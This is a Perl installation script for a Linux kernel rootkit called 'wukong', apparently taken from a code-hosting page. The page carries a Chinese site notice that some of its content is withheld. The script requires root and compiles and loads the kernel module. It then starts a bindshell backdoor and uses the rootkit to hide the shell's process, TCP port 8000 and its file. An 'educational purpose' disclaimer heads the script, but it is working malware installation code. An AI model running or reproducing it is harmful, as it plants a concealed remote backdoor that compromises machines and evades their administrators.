代码拉取完成,页面将自动刷新
#!/usr/bin/perl -U
=pod
* Copyright 2014-2015 Jerry Han (hanj4096@gmail.com)
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 3 as
* published by the Free Software Foundation.
*
* Note:
* This kernel rootkit is just for educational purpose and it shouldn't
* be used for any illegal activities, use this at your own risk.
=cut
use strict;
use warnings;
sub error()
{
print "[-] installation failed ! please check error message !";
exit;
}
sub check_root()
{
my $id = getpwuid($<);
if ($id ne "root") {
print "[-] error ! installation must be set with uid 0 (root), can not continue ! exit !\n";
exit;
}
else {
print "[+] installing as root user !\n";
}
}
sub install()
{
if (`uname -a` =~ /x86_64/) {
system("cd lkm; make linux-x86_64");
}
else {
system("cd lkm; make linux-x86");
}
if (-e "lkm/wukong.ko") {
print "[+] lkm compiled successfully !\n";
}
else {
error();
}
system("rmmod wukong");
system("cd lkm; insmod wukong.ko");
print "\n[+] wukong installed ! \n";
system("killall bindshell");
system("cd app; make");
system("./app/bindshell");
sleep(1);
my $pid = `cat /tmp/log_hidden_pid`;
system("rm -rf /tmp/log_hidden_pid");
chomp($pid);
print "\nhide bindshell process, pid=$pid! \n";
system("./app/wukong 1 $pid");
print "\nhide tcp 8000! \n";
system("./app/wukong 3 8000");
print "\nhide bindshell file! \n";
system("./app/wukong 5 bindshell");
exit;
}
# main
check_root();
install();
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。